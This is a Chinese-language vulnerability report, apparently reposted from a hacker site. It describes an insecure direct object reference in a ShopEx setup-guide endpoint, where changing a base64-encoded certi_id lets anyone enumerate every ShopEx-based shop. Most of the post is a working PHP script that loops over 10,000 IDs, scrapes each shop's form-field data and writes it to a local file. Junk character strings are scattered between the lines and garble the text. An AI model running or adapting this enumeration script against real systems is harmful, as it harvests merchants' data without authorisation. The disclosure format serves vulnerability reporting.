ShopEx某接口缺陷可遍历所有用户网站

admin

简要描述：
/ v8 [. I5 U0 @9 f6 ]2 o! @8 X+ d, bShopEx某接口缺陷,可遍历所有网站
$ S7 h' l1 K! c  b. U6 U; z2 `# ]* Q详细说明：
问题出现在shopex 网店使用向导页面

8 V/ @0 U3 D8 t; V" ^  U* a( r
) k6 v0 ?/ u  c/ H3 t2 ^
http://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=
# S& t5 E9 O% P


" J& [: u9 l( b* w: X% V& Prefer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}


( g& k3 W- v& d% S( l/ k$ {1 q. u0 b
6 b9 ]; C* Z4 C( l) _5 @我们修改certi_id 即可遍历所有使用了ShopEx程序的网站
8 Z, @& h/ {$ \( B


<?php
! ^% S0 ?8 f! @  b
( j3 f# `) ^5 r7 [( W7 r                for ($i=1; $i < 10000; $i++) { //遍历
( n# r! [0 [% R/ F
4 S# U2 b3 g1 }( p/ M1 D                        ShowshopExD($i);
) c( s8 p& b/ k, \2 s. @& T0 Z  G
                }
% m: Y/ q. F6 R1 m
, h7 W' A% p' P! O, M. d! o                function ShowshopExD($cid) {
' n( j0 W4 @( g8 [0 M4 K% e) V
                $url='http://guide.ecos.shopex.cn/step2.php';

                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');
: ]9 {6 C* p8 W. H8 W2 G0 S; F
        $url = $url.'?refer='.$refer;
- {7 u# x# p, \. w
        $ch = curl_init($url);
: n5 T5 Z+ }4 k
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;
5 J8 s, `  _! ]" O' B, ~
        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;

        $result = curl_exec($ch);

  z$ q: i9 O% T* Y# G! u; \+ M  w        $result = mb_convert_encoding($result, "gb2312", "UTF-8");
/ o: S: [( d) q: ~) G
        if(strpos($result,$refer))
2 K! d" Q7 y9 b
        {

                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件

                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);
. T7 L% P. I; G/ j% A/ G5 }
  x! C, k4 l+ G7 p+ Z8 [  C1 f                foreach ($value[1] as $key) {
1 a  ^% d# ^7 V( F
                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);
$ J, {/ n. _3 N! j+ k
                        echo $res[1][0].':'.$res[3][0]."\r\n";
. |8 M8 l# y' [6 X4 B0 k
: C6 M3 J6 `% U                        $col =$res[1][0].':'.$res[3][0]."\r\n";
: h* h) W! p& n/ i. l& m
7 w% |" n$ T8 z- g- @                        fwrite($fp, $col, strlen($col));

) M' ]9 d/ P2 @, Y, _                }
; B  i# `5 X/ q7 \
                echo '--------------------------------'."\r\n";
& x/ s  z4 p2 |# d2 h
                fclose($fp);
% O1 m, S% M. K+ s6 X7 P% L, j
        }
, Z- d) l' d( W( C$ R# e9 }
- ^: t1 S! x, u! ~% I- c* K        flush();
* N% ~+ j2 o9 z
9 P; L2 ^0 O; P: @        curl_close($ch);

" C) c& r& h0 v) {, o4 p0 e3 a                }

; D* q0 \) a9 O/ b8 H. Z?>
漏洞证明：
http://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
refer换成其他加密方式